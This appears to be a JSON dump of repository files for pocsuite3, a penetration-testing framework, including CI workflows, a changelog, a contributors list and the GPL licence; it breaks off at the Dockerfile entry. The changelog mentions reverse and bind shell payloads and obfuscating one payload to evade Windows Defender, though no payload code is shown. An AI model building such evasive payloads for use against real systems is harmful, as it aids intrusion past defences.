[
  {
    "path": ".coveragerc",
    "content": "[run]\ninclude = pocsuite3/*\nomit =\n    *migrations*\n    *tests*\n    venv/*\n\n[report]\ninclude = pocsuite3/*\nomit =\n    *migrations*\n    *tests*\n    venv/*\nexclude_lines =\n    pragma: no cover\n    def __repr__\n    def __str__\n    if self.debug:\n    if settings.DEBUG\n    raise AssertionError\n    raise NotImplementedError\n    if __name__ == .__main__.:\n"
  },
  {
    "path": ".github/workflows/lint.yml",
    "content": "name: Lint\non: [pull_request]\n\njobs:\n  lint:\n    strategy:\n      matrix:\n        python-version: ['3.10']\n        os: [ubuntu-latest]\n    runs-on: ${{ matrix.os }}\n    timeout-minutes: 30\n    steps:\n    - uses: actions/checkout@v2\n    - name: Cache for pip\n      uses: actions/cache@v1\n      id: cache-pip\n      with:\n        path: ~/.cache/pip\n        key: ${{ matrix.os }}-cache-pip\n\n    - name: Set up Python ${{ matrix.python-version }}\n      uses: actions/setup-python@v1\n      with:\n        python-version: ${{ matrix.python-version }}\n\n    - name: Critical lint\n      run: |\n        pip install flake8\n        # https://michaelcurrin.github.io/dev-cheatsheets/cheatsheets/python/linting/flake8.html\n        flake8 . --count --select=E9,F63,F7,F82 --show-source --statistics\n\n    - name: Style lint\n      run: |\n        flake8 . --count --exit-zero --max-complexity=10 --max-line-length=127 --ignore=C901,W503,W504,E741 --statistics > current.txt\n        git fetch origin\n        git checkout origin/\"$GITHUB_BASE_REF\"\n        flake8 . --count --exit-zero --max-complexity=10 --max-line-length=127 --ignore=C901,W503,W504,E741 --statistics > base.txt\n        if diff base.txt current.txt | grep \"^> ./\"; then\n          false\n        fi\n"
  },
  {
    "path": ".github/workflows/pylint.yml",
    "content": "name: PyLint\non: [pull_request]\n\njobs:\n  pylint:\n    strategy:\n      matrix:\n        python-version: ['3.10']\n        os: [ubuntu-latest]\n    runs-on: ${{ matrix.os }}\n    timeout-minutes: 30\n    steps:\n    - uses: actions/checkout@v2\n    - name: Cache for pip\n      uses: actions/cache@v1\n      id: cache-pip\n      with:\n        path: ~/.cache/pip\n        key: ${{ matrix.os }}-cache-pip\n\n    - name: Set up Python ${{ matrix.python-version }}\n      uses: actions/setup-python@v1\n      with:\n        python-version: ${{ matrix.python-version }}\n\n    - name: PyLint\n      run: |\n        set -x\n        pip install pylint\n        pip install --upgrade -r requirements.txt\n        # TODO: donot ignore serialization.py\n        pylint --exit-zero --errors-only --ignore=serialization.py pocsuite3 > current.txt\n        git fetch origin\n        git checkout origin/\"$GITHUB_BASE_REF\"\n        pylint --exit-zero --errors-only --ignore=serialization.py pocsuite3 > base.txt\n        if diff base.txt current.txt | grep \"^> \"; then\n          false\n        fi\n"
  },
  {
    "path": ".github/workflows/release.yml",
    "content": "name: Release Package\n\non:\n  push:\n    tags:\n      - v*\n\njobs:\n  pypi:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions/checkout@v3\n      - name: Set up Python\n        uses: actions/setup-python@v3\n        with:\n          python-version: '3.x'\n      - name: Install dependencies\n        run: |\n          python -m pip install --upgrade pip\n          pip install build\n      - name: Build package\n        run: python -m build\n      - name: Publish package\n        uses: pypa/gh-action-pypi-publish@27b31702a0e7fc50959f5ad993c78deac1bdfc29\n        with:\n          user: __token__\n          password: ${{ secrets.PYPI_API_TOKEN }}\n\n  homebrew:\n    runs-on: ubuntu-latest\n    needs:\n      - pypi\n    steps:\n      - name: Update Homebrew formula\n        uses: 13ph03nix/action-homebrew-bump-formula@v3\n        with:\n          token: ${{ secrets.BREW_TOKEN }}\n          formula: pocsuite3\n\n  aur:\n    runs-on: ubuntu-latest\n    needs:\n      - pypi\n    steps:\n      - name: Checkout PKGBUILD repo\n        run: |\n          echo \"$AUR_SSH_KEY\" > ~/aur_ssh_key\n          chmod 600 ~/aur_ssh_key\n          git config --global core.sshCommand \"ssh -i ~/aur_ssh_key -o 'StrictHostKeyChecking=no'\"\n          git clone \"aur@aur.archlinux.org:pocsuite3.git\" .\n        env:\n          AUR_SSH_KEY: ${{ secrets.AUR_SSH_KEY }}\n      - name: Update Version\n        run: |\n          export VERSION=$(echo $GH_REF | sed 's:refs/tags/v::')\n          sed -i \"s/^pkgver=.*\\$/pkgver=${VERSION}/g\" PKGBUILD\n          sed -i \"s/^pkgrel=.*\\$/pkgrel=1/g\" PKGBUILD\n        env:\n          GH_REF: ${{ github.ref }}\n      - name: Update .SRCINFO and checksum\n        uses: 13ph03nix/archlinux-package-action@v2 \n        with:\n          flags: ''\n          namcap: false\n          updpkgsums: true\n          srcinfo: true\n      - name: Commit and push changes\n        run: |\n          export VERSION=$(echo $GH_REF | sed 's:refs/tags/v::')\n          git config --global user.email \"abcnsxyz@gmail.com\"\n          git config --global user.name '13ph03nix'\n          git commit -a -m \"Version ${VERSION} (automated version bump)\"\n          git push origin master\n        env:\n          GH_REF: ${{ github.ref }}\n\n  dockerhub:\n    runs-on: ubuntu-latest\n    needs:\n      - pypi\n    steps:\n    - name: Checkout\n      uses: actions/checkout@v2\n    - name: Build\n      env:\n        GH_REF: ${{ github.ref }}\n      run: |\n        export VERSION=$(echo $GH_REF | sed 's:refs/tags/v::')\n        docker build --build-arg version=${VERSION} \\\n        --tag pocsuite3/pocsuite3:v${VERSION} \\\n        --tag pocsuite3/pocsuite3:latest \\\n        .\n    - name: Login\n      uses: docker/login-action@v1\n      with:\n        username: ${{ secrets.DOCKER_USERNAME }}\n        password: ${{ secrets.DOCKER_PASSWORD }}      \n    - name: Push\n      run: |\n        docker push -a pocsuite3/pocsuite3\n"
  },
  {
    "path": ".github/workflows/test.yml",
    "content": "name: Test\non: [pull_request]\n\njobs:\n  test:\n    strategy:\n      matrix:\n        python-version: ['3.9', '3.11']\n        os: [ubuntu-latest, macos-latest, windows-latest]\n    runs-on: ${{ matrix.os }}\n    timeout-minutes: 30\n    steps:\n    - uses: actions/checkout@v4\n    - name: Cache for pip\n      uses: actions/cache@v4\n      id: cache-pip\n      with:\n        path: ~/.cache/pip\n        key: ${{ matrix.os }}-cache-pip\n\n    - name: Set up Python ${{ matrix.python-version }}\n      uses: actions/setup-python@v4\n      with:\n        python-version: ${{ matrix.python-version }}\n\n    - name: Install dependencies & Test\n      run: |\n        pip install --upgrade pip\n        pip install --upgrade setuptools\n        pip install --upgrade -r requirements.txt\n        python setup.py install\n        python test.py"
  },
  {
    "path": ".gitignore",
    "content": "### OSX ###\n.DS_Store\n.AppleDouble\n.LSOverride\n\n### SublimeText ###\n# cache files for sublime text\n*.tmlanguage.cache\n*.tmPreferences.cache\n*.stTheme.cache\n\n# workspace files are user-specific\n*.sublime-workspace\n\n# project files should be checked into the repository, unless a significant\n# proportion of contributors will probably not be using SublimeText\n# *.sublime-project\n\n# sftp configuration file\nsftp-config.json\n\n# Basics\n*.py[cod]\n__pycache__\n\n# Logs\nlogs\n*.log\npip-log.txt\nnpm-debug.log*\n\n# Unit test / coverage reports\n.coverage\n.tox\nnosetests.xml\nhtmlcov\n\n# Translations\n*.mo\n*.pot\n\n# Pycharm\n.idea/\n\n# Vim\n\n*~\n*.swp\n*.swo\n\n# npm\nnode_modules/\n\n# Compass\n.sass-cache\n\n# virtual environments\nenv/\n.env\nvenv36/\nvenv/\n\n# vscode\n.vscode/\n\n# wakatime\n.wakatime-project\n\n# other\nbuild/\ndist/\n*.egg-info\n.eggs/\npocsuite.ini\npocsuite3/pocs/\npocsuite3/data/cacert.pem\n"
  },
  {
    "path": "CHANGELOG.md",
    "content": "# version 2.1.0\n----------------\n * fix codes ignored in raw strings #432\n * update zoomeye api to v2\n\n# verison 2.0.8\n * Fix nucleic dsl syntax parsing #386 @xixixiba\n * Fix the compatibility issue of -l command in windows #400 @geelph\n\n# version 2.0.7\n * add http debug level command line parameter --http-debug\n * fix some bug\n\n# version 2.0.6\n* add new command -l show local poc\n* build the corresponding vulnerability environment based on the PoC, For details, please refer to pocs/Apache_Struct2\n\n# version 2.0.5\n----------------\n* fix hook failure due to urllib3 update #368 #373\n* optimize DSL expression execution #372\n* making mmh3 an optional dependency #359\n* disable mandatory updates\n\n# version 2.0.4\n----------------\n* Updated protocol names that are compatible with Nuclei v2.9.1\n\n# version 2.0.3\n----------------\n* optimized URL protocol correction #356, thanks @chenjiewei123\n* support disable protocol correction and honeypot checks through --no-check option\n\n# version 2.0.2\n----------------\n* fix url redirect problem in _check method #337\n* fix use command in console mode can't use absolute path #341, thanks @S2eTo\n* fix ipv6 compatibility issue in build_url #347, thanks @HomerQing\n* optimize dsl expression execution #348\n\n# version 2.0.1\n----------------\n* fix words matcher expression execution #333, thanks @soapffz\n* fix catch binascii ValueError Exception #334, thanks @izj007\n* improve template robustness\n* support digest_username and digest_password\n* support negative matchers\n\n# version 2.0.0\n----------------\n* yaml poc support, compatible with nuclei\n* fix httpserver module hangs on macos platform\n* auto correction of url protocol based on status code\n\n# version 1.9.11\n----------------\n* support customize poc protocol and default port #321\n* -p option support optional protocol field, [proto:]port #323\n* add -s option to skip target default port #323\n* poc-console optimization\n* some bug fixes & improvements\n\n# version 1.9.10\n----------------\nfix different python versions have different behaviors on ipaddress library #319\n\n# version 1.9.9\n----------------\n* auto correct url based on poc's protocol attribute #316\n* fix Colorizing doesn't work on Windows with poc-console #318\n* trail slash at the end of url #314\n\n# version 1.9.8\n----------------\n* support full PoC search by regex keyword #312\n* set default value for PoC in POCBase #312\n* add bind/reverse shell payload #311\n* fix fofa query over multiple pages #310\n\n# version 1.9.7\n----------------\n* improve encoding compatibility #305\n* obfuscate REVERSE_PAYLOAD to evade windows defender #306\n* improve --ppt\n\n# version 1.9.6\n----------------\n* support -o parameter, save the result in json lines format\n* optimize timeout for cyberspace search engine plugins\n* optimize the handling of the url protocol\n* docs update\n\n# version 1.9.5\n----------------\n* refactor --ppt, optimize mosaic for url\n* optimize poc template\n* optimize pocsuite command default prompt message\n* adjust the default timeout to 10 seconds\n* adjust the default number of threads to 150\n* target url support cidr, user can use -p provide additional ports\n* support local mode, local mode do not need any targets, e.g. LPE\n* bug fixes\n\n# version 1.9.4\n-----------------\n* support poc template generate\n* support custom interactsh server\n* Switch the authentication method of ZoomEye and CEYE to API-KEY\n* support honeypot detect\n* support http/https protocol autocorrect\n* refactor --update\n* support version check\n\n# version 1.9.3\n-----------------\n* add support for qianxin hunter cyberspace search engine\n* support self.rhost & self.rport in POCBase\n\n# version 1.9.2\n-----------------\n* Improved shell mode\n\n# version 1.9.1\n-----------------\n* fix #272, #274\n* the hook support of requests can be used alone\n* refactor shell mode, add handle for keyboard interrupt\n\n# version 1.9.0\n-----------------\n* Fix urllib3 issue with parsing URIs\n* Prevent URL encoding\n\n# version 1.8.12\n-----------------\n* update fofa api url #263\n\n# version 1.8.11\n-----------------\n* fix windows log color issue #258\n\n# version 1.8.10\n-----------------\n* fix #254\n* fix urlparse fails with simple url\n* use pycryptodomex instead of pycryptodome, fix #255\n\n# version 1.8.9\n-----------------\n* fix user-agent bug #252\n\n# version 1.8.8\n-----------------\n* rewrite multi module\n* integrate with interactsh\n* support filter poc by keyword\n\n# version 1.8.7\n-----------------\n* fix bug\n* optimize code style & docs\n* delete the exe tool for compatibility with dfsg\n\n# version 1.8.6\n-----------------\n* support encrypted shell (TLS) in shell mode\n* fix #228\n\n# version 1.8.5\n-----------------\n* support bind shell in shell mode\n* fix #221\n\n# version 1.8.4\n-----------------\n* update docs\n* fix typo\n\n# version 1.8.3\n-----------------\n* some improvements related to dependent\n\n# version 1.8.2\n-----------------\n* fix finding a python module version gives error\n\n# version 1.8.1\n-----------------\n* fix check_requires() can not handle dependent version correctly #208\n* update docs\n\n# version 1.8.0\n-----------------\n* fix the timeout problem in shell mode leads to confusing results\n* made some improvements with network address related issues\n\n# version 1.7.8\n-----------------\n* add option to display extra parameters of poc\n* add more poc attribute to result dict\n* allow custom module path in console mode\n* fix some compatibility problems\n\n# version 1.7.7\n-----------------\n* 添加--dork自动用poc中的dork字段扫描功能\n* 适配Debian源格式需求\n\n# version 1.7.6\n-----------------\n* fixes #192\n\n# version 1.7.5\n-----------------\n* 添加录包功能和dork字段支持base64编码 fixes #169 #173\n* 修复target插件requests参数无效bug fix #183\n\n# version 1.7.4\n-----------------\n* 修复批量执行poc时因为报错导致扫描中断问题 fixes #149\n* 修复--pocs-path参数bug\n\n# version 1.7.2\n-----------------\n* 增加powershell bash反弹shell 以及编码函数\n\n# version 1.7.0\n-----------------\n* 修复`Python 3.9`兼容性问题\n* console模式，添加系统命令执行，添加pocuite3命令clear清除屏幕\n\n# version 1.6.5\n----------------\n* 修复http请求头不能删除\n* 修复html导出编码错误\n* 修复console模式下lport设置失败\n* shell模式可以使用select或use选择shell\n\n# version 1.6.4\n----------------\n* 测试Github Action自动发布pypi\n\n# version 1.6.0~1.6.3\n---------------\n* 添加随机UA头选项\n* 重构--ppt隐藏信息选项\n* 当poc有语法错误时，显示详细信息\n* 添加InMemoryWar\n* 修复urllib3的`chunk_length`错误\n* 加入打tag自动构建发布到pypi\n\n# version 1.5.9\n---------------\n* 增加了poc类型的枚举类型 #95\n* 修改了样例poc\n\n# version 1.5.8\n---------------\n* 修复shadon api问题\n* 加入fofa api接口\n\n# version 1.5.7\n---------------\n* 取消pyreadline报错提示\n* 修改日志拼写错误\n\n# version 1.5.6\n---------------\n* 修复多线程卡住问题\n* 修复seebug api问题\n* 修复socks5代理问题\n\n# version 1.5.5\n---------------\n* fix #87\n\n# version 1.5.4\n---------------\n* 加入获取PoC信息的API\n* 更新测试用例\n\n# version 1.5.3\n---------------\n* socket代理增加变量保存原始socket信息，方便使用后恢复(`conf.origin_socks`)\n* 修复requests代理指定为None时的逻辑问题\n\n# version 1.5.2\n---------------\n* typo fix #84\n* bugfix 自定义cookie产生的异常情况\n* bugfix 引入pocsuite3后再次引入requests导致的报错\n\n# version 1.5.1\n---------------\n* 修复插件调用poc失败的问题\n\n# version 1.5.0\n---------------\n* 修复timeout一处异常\n* pocsuite3.api 添加 `random_str`\n* 优化update function\n\n# version 1.4.9\n---------------\n* 修复requirement检测一处bug\n* 修复reverse 一处异常\n\n# version 1.4.8\n---------------\n* console模式下设置ip可以选择序号 `show ip` `set lhost 0`\n* bugfix for ceye dns api\n\n# version 1.4.7\n---------------\n* 修复console模式下回连shell循环的异常\n\n# version 1.4.6\n---------------\n* 修复`-v`出现的问题\n* 修复加载多个poc可能出现的问题\n\n# version 1.4.5\n---------------\n* update usage.md\n\n# version 1.4.3\n---------------\n* 加入PPT模式（用于演示，敏感信息将打上*）\n\n# version 1.4.2\n---------------\n* 修复console模式下一处bug，https://github.com/knownsec/pocsuite3/pull/61\n\n# version 1.4.1\n---------------\n* 修复由poc插件中由conf.poc引起的错误\n\n# version 1.4.0\n---------------\n* 在命令行下url和poc支持多个(空格分隔)\n* 更换`optparse`到`argparse`\n\n# version 1.3.9\n---------------\n* 修复plugins选项加载绝对路径问题\n* 修复加载pocs目录扫描部分报错问题\n* PoC插件`add_poc`方法新增`fullname`参数用于定义加载poc名称\n* 定义api模式方便shell集成\n\n# version 1.3.8\n---------------\n* add field,option for compatibility with zipoc\n\n# version 1.3.7\n---------------\n* add poc-plugin to load poc from `pocs` directories.\n\n# version 1.3.6\n---------------\n* Bugfix parameter `version`\n\n# version 1.3.5\n---------------\n* Add parameter `-c` for load configuration from the configuration file\n* Add parameter `--comparsion` for comparing comparing both of zoomeye and shodan\n* Interface supports from zoomeye,shodan and censys\n\n# version 1.3.4\n---------------\nCross-platform shell code generation\n\n# version 1.3.3\n---------------\nfix #37 pocsuite3\\lib\\core\\revision.py\n\n# version 1.3.2\n---------------\n* bugfix poc thinkphp_rce\n\n# version 1.3.1\n---------------\n* add confluence poc\n* fix pocs/drupalgeddon2\n* CYGWIN compatibility\n* bugfix revision.py `stdout_encode`\n\n# version 1.3.0\n---------------\n* new feature: `_verify` `_attack` function can directly return bool, str, dict, etc.\n* new plugin: file report\n* bugfix get_option() not support int\n\n# version 1.2.10\n---------------\n* bugfix interpreter_option OptDict\n\n# version 1.2.9\n---------------\n* seebug poc friendly load reminder\n* new feature:displayed results after user interruption\n* POC specifies third-party module verification failure\n* customize option iter func\n* Built-in http server\n\n# version 1.2.8\n---------------\n* support ceye token\n* bugfix plugin from seebug\n* refactoring ceye\n\n# version 1.2.7\n---------------\n* bugfix hook_requests\n\n# version 1.2.6\n---------------\n* bugfix seebug poc\n\n# version 1.2.5\n---------------\n* bugfix socks proxy\n\n# version 1.2.2\n---------------\n* bugfix site-packages poc-console issue\n* poc-console support to load absolute path\n* poc-console will ignore case when use `search`\n\n# version 1.2.1\n---------------\n* bugfix auto update error\n* bugfix console mode load poc error\n* update pocsuite3 banner\n\n# version 1.0\n---------------\n* Init publish\n"
  },
  {
    "path": "CONTRIBUTORS.md",
    "content": "hysia <s1@seebug.org>\n* for contributing core code\n\nbadcode <s1@seebug.org>\n* for contributing core code\n\ncc <s1@seebug.org>\n* for contributing core code\n\nw7ay <https://github.com/boy-hack>\n* for contributing core code\n\nfenix <https://github.com/13ph03nix>\n* for contributing core code\n\nphithon <root(at)leavesongs.com>\n* for suggesting a couple of features\n\nlongofo\n* for contributing http server module\n\nRo0tk1t <https://github.com/Ro0tk1t>\n* for contributing multi-ip multi-poc execution features\n* fix some issues\n\nhawoosec <hanwu@protonmail.com>\n* for reporting a bug\n* for contributing a minor patch\n* bugfix invalid client\n* for contributing `set lhost index`\n\nExplorer1092 <https://github.com/Explorer1092>\n* update usage.md\n\ngsfish <https://github.com/gsfish>\n* good first issue #85\n* repair the custom cookie anomalies\n\nBecivells <https://github.com/Becivells>\n* bugfix shodan api\n* for contributing fofa api\n* for contributing random user-agent switch\n* bugfix #187\n\nhex0wn <https://github.com/hex0wn>\n* bugfix #139\n\nMrMetatron <https://github.com/MrMetatron>\n* console 模式，添加系统命令执行，添加 pocsuite3 命令 clear 清除屏幕功能\n\nz3r0yu <https://github.com/zer0yu>\n* Add quake dork for pocsuite3\n\nRook1e <https://github.com/0x2E>\n* Add CI to build and push Docker image to DockerHub\n\nekszz <https://github.com/ekszz>\n* contributing to customize poc protocol and default port #321\n\nHomerQing <https://github.com/HomerQing>\n* contributing to fix ipv6 compatibility issue in build_url\n\nXxcdd <https://github.com/xxcdd>\n* Add support for requests session reuse\n* Add support for web hook\n"
  },
  {
    "path": "COPYING",
    "content": "COPYING -- Describes the terms under which pocsuite is distributed. A copy\nof the GNU General Public License (GPL) is appended to this file.\n\npocsuite3 is (C) 2014-present 404-team@knownsec.com\n\nThis program is free software; you may redistribute and/or modify it under\nthe terms of the GNU General Public License as published by the Free\nSoftware Foundation; Version 2 with the clarifications and\nexceptions described below. This guarantees your right to use, modify, and\nredistribute this software under certain conditions. If you wish to embed\npocsuite technology into proprietary software, we sell alternative licenses\n(contact pocsuite@seebug.org).\n\n\n****************************************************************************\n\n                    GNU GENERAL PUBLIC LICENSE\n                       Version 2, June 1991\n\n Copyright (C) 1989, 1991 Free Software Foundation, Inc.,\n 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n\n                            Preamble\n\n  The licenses for most software are designed to take away your\nfreedom to share and change it.  By contrast, the GNU General Public\nLicense is intended to guarantee your freedom to share and change free\nsoftware--to make sure the software is free for all its users.  This\nGeneral Public License applies to most of the Free Software\nFoundation's software and to any other program whose authors commit to\nusing it.  (Some other Free Software Foundation software is covered by\nthe GNU Lesser General Public License instead.)  You can apply it to\nyour programs, too.\n\n  When we speak of free software, we are referring to freedom, not\nprice.  Our General Public Licenses are designed to make sure that you\nhave the freedom to distribute copies of free software (and charge for\nthis service if you wish), that you receive source code or can get it\nif you want it, that you can change the software or use pieces of it\nin new free programs; and that you know you can do these things.\n\n  To protect your rights, we need to make restrictions that forbid\nanyone to deny you these rights or to ask you to surrender the rights.\nThese restrictions translate to certain responsibilities for you if you\ndistribute copies of the software, or if you modify it.\n\n  For example, if you distribute copies of such a program, whether\ngratis or for a fee, you must give the recipients all the rights that\nyou have.  You must make sure that they, too, receive or can get the\nsource code.  And you must show them these terms so they know their\nrights.\n\n  We protect your rights with two steps: (1) copyright the software, and\n(2) offer you this license which gives you legal permission to copy,\ndistribute and/or modify the software.\n\n  Also, for each author's protection and ours, we want to make certain\nthat everyone understands that there is no warranty for this free\nsoftware.  If the software is modified by someone else and passed on, we\nwant its recipients to know that what they have is not the original, so\nthat any problems introduced by others will not reflect on the original\nauthors' reputations.\n\n  Finally, any free program is threatened constantly by software\npatents.  We wish to avoid the danger that redistributors of a free\nprogram will individually obtain patent licenses, in effect making the\nprogram proprietary.  To prevent this, we have made it clear that any\npatent must be licensed for everyone's free use or not licensed at all.\n\n  The precise terms and conditions for copying, distribution and\nmodification follow.\n\n                    GNU GENERAL PUBLIC LICENSE\n   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION\n\n  0. This License applies to any program or other work which contains\na notice placed by the copyright holder saying it may be distributed\nunder the terms of this General Public License.  The \"Program\", below,\nrefers to any such program or work, and a \"work based on the Program\"\nmeans either the Program or any derivative work under copyright law:\nthat is to say, a work containing the Program or a portion of it,\neither verbatim or with modifications and/or translated into another\nlanguage.  (Hereinafter, translation is included without limitation in\nthe term \"modification\".)  Each licensee is addressed as \"you\".\n\nActivities other than copying, distribution and modification are not\ncovered by this License; they are outside its scope.  The act of\nrunning the Program is not restricted, and the output from the Program\nis covered only if its contents constitute a work based on the\nProgram (independent of having been made by running the Program).\nWhether that is true depends on what the Program does.\n\n  1. You may copy and distribute verbatim copies of the Program's\nsource code as you receive it, in any medium, provided that you\nconspicuously and appropriately publish on each copy an appropriate\ncopyright notice and disclaimer of warranty; keep intact all the\nnotices that refer to this License and to the absence of any warranty;\nand give any other recipients of the Program a copy of this License\nalong with the Program.\n\nYou may charge a fee for the physical act of transferring a copy, and\nyou may at your option offer warranty protection in exchange for a fee.\n\n  2. You may modify your copy or copies of the Program or any portion\nof it, thus forming a work based on the Program, and copy and\ndistribute such modifications or work under the terms of Section 1\nabove, provided that you also meet all of these conditions:\n\n    a) You must cause the modified files to carry prominent notices\n    stating that you changed the files and the date of any change.\n\n    b) You must cause any work that you distribute or publish, that in\n    whole or in part contains or is derived from the Program or any\n    part thereof, to be licensed as a whole at no charge to all third\n    parties under the terms of this License.\n\n    c) If the modified program normally reads commands interactively\n    when run, you must cause it, when started running for such\n    interactive use in the most ordinary way, to print or display an\n    announcement including an appropriate copyright notice and a\n    notice that there is no warranty (or else, saying that you provide\n    a warranty) and that users may redistribute the program under\n    these conditions, and telling the user how to view a copy of this\n    License.  (Exception: if the Program itself is interactive but\n    does not normally print such an announcement, your work based on\n    the Program is not required to print an announcement.)\n\nThese requirements apply to the modified work as a whole.  If\nidentifiable sections of that work are not derived from the Program,\nand can be reasonably considered independent and separate works in\nthemselves, then this License, and its terms, do not apply to those\nsections when you distribute them as separate works.  But when you\ndistribute the same sections as part of a whole which is a work based\non the Program, the distribution of the whole must be on the terms of\nthis License, whose permissions for other licensees extend to the\nentire whole, and thus to each and every part regardless of who wrote it.\n\nThus, it is not the intent of this section to claim rights or contest\nyour rights to work written entirely by you; rather, the intent is to\nexercise the right to control the distribution of derivative or\ncollective works based on the Program.\n\nIn addition, mere aggregation of another work not based on the Program\nwith the Program (or with a work based on the Program) on a volume of\na storage or distribution medium does not bring the other work under\nthe scope of this License.\n\n  3. You may copy and distribute the Program (or a work based on it,\nunder Section 2) in object code or executable form under the terms of\nSections 1 and 2 above provided that you also do one of the following:\n\n    a) Accompany it with the complete corresponding machine-readable\n    source code, which must be distributed under the terms of Sections\n    1 and 2 above on a medium customarily used for software interchange; or,\n\n    b) Accompany it with a written offer, valid for at least three\n    years, to give any third party, for a charge no more than your\n    cost of physically performing source distribution, a complete\n    machine-readable copy of the corresponding source code, to be\n    distributed under the terms of Sections 1 and 2 above on a medium\n    customarily used for software interchange; or,\n\n    c) Accompany it with the information you received as to the offer\n    to distribute corresponding source code.  (This alternative is\n    allowed only for noncommercial distribution and only if you\n    received the program in object code or executable form with such\n    an offer, in accord with Subsection b above.)\n\nThe source code for a work means the preferred form of the work for\nmaking modifications to it.  For an executable work, complete source\ncode means all the source code for all modules it contains, plus any\nassociated interface definition files, plus the scripts used to\ncontrol compilation and installation of the executable.  However, as a\nspecial exception, the source code distributed need not include\nanything that is normally distributed (in either source or binary\nform) with the major components (compiler, kernel, and so on) of the\noperating system on which the executable runs, unless that component\nitself accompanies the executable.\n\nIf distribution of executable or object code is made by offering\naccess to copy from a designated place, then offering equivalent\naccess to copy the source code from the same place counts as\ndistribution of the source code, even though third parties are not\ncompelled to copy the source along with the object code.\n\n  4. You may not copy, modify, sublicense, or distribute the Program\nexcept as expressly provided under this License.  Any attempt\notherwise to copy, modify, sublicense or distribute the Program is\nvoid, and will automatically terminate your rights under this License.\nHowever, parties who have received copies, or rights, from you under\nthis License will not have their licenses terminated so long as such\nparties remain in full compliance.\n\n  5. You are not required to accept this License, since you have not\nsigned it.  However, nothing else grants you permission to modify or\ndistribute the Program or its derivative works.  These actions are\nprohibited by law if you do not accept this License.  Therefore, by\nmodifying or distributing the Program (or any work based on the\nProgram), you indicate your acceptance of this License to do so, and\nall its terms and conditions for copying, distributing or modifying\nthe Program or works based on it.\n\n  6. Each time you redistribute the Program (or any work based on the\nProgram), the recipient automatically receives a license from the\noriginal licensor to copy, distribute or modify the Program subject to\nthese terms and conditions.  You may not impose any further\nrestrictions on the recipients' exercise of the rights granted herein.\nYou are not responsible for enforcing compliance by third parties to\nthis License.\n\n  7. If, as a consequence of a court judgment or allegation of patent\ninfringement or for any other reason (not limited to patent issues),\nconditions are imposed on you (whether by court order, agreement or\notherwise) that contradict the conditions of this License, they do not\nexcuse you from the conditions of this License.  If you cannot\ndistribute so as to satisfy simultaneously your obligations under this\nLicense and any other pertinent obligations, then as a consequence you\nmay not distribute the Program at all.  For example, if a patent\nlicense would not permit royalty-free redistribution of the Program by\nall those who receive copies directly or indirectly through you, then\nthe only way you could satisfy both it and this License would be to\nrefrain entirely from distribution of the Program.\n\nIf any portion of this section is held invalid or unenforceable under\nany particular circumstance, the balance of the section is intended to\napply and the section as a whole is intended to apply in other\ncircumstances.\n\nIt is not the purpose of this section to induce you to infringe any\npatents or other property right claims or to contest validity of any\nsuch claims; this section has the sole purpose of protecting the\nintegrity of the free software distribution system, which is\nimplemented by public license practices.  Many people have made\ngenerous contributions to the wide range of software distributed\nthrough that system in reliance on consistent application of that\nsystem; it is up to the author/donor to decide if he or she is willing\nto distribute software through any other system and a licensee cannot\nimpose that choice.\n\nThis section is intended to make thoroughly clear what is believed to\nbe a consequence of the rest of this License.\n\n  8. If the distribution and/or use of the Program is restricted in\ncertain countries either by patents or by copyrighted interfaces, the\noriginal copyright holder who places the Program under this License\nmay add an explicit geographical distribution limitation excluding\nthose countries, so that distribution is permitted only in or among\ncountries not thus excluded.  In such case, this License incorporates\nthe limitation as if written in the body of this License.\n\n  9. The Free Software Foundation may publish revised and/or new versions\nof the General Public License from time to time.  Such new versions will\nbe similar in spirit to the present version, but may differ in detail to\naddress new problems or concerns.\n\nEach version is given a distinguishing version number.  If the Program\nspecifies a version number of this License which applies to it and \"any\nlater version\", you have the option of following the terms and conditions\neither of that version or of any later version published by the Free\nSoftware Foundation.  If the Program does not specify a version number of\nthis License, you may choose any version ever published by the Free Software\nFoundation.\n\n  10. If you wish to incorporate parts of the Program into other free\nprograms whose distribution conditions are different, write to the author\nto ask for permission.  For software which is copyrighted by the Free\nSoftware Foundation, write to the Free Software Foundation; we sometimes\nmake exceptions for this.  Our decision will be guided by the two goals\nof preserving the free status of all derivatives of our free software and\nof promoting the sharing and reuse of software generally.\n\n                            NO WARRANTY\n\n  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY\nFOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN\nOTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES\nPROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED\nOR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF\nMERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS\nTO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE\nPROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,\nREPAIR OR CORRECTION.\n\n  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING\nWILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR\nREDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,\nINCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING\nOUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED\nTO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY\nYOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER\nPROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGES.\n\n                     END OF TERMS AND CONDITIONS\n\n****************************************************************************\n"
  },
  {
    "path": "Dockerfile",
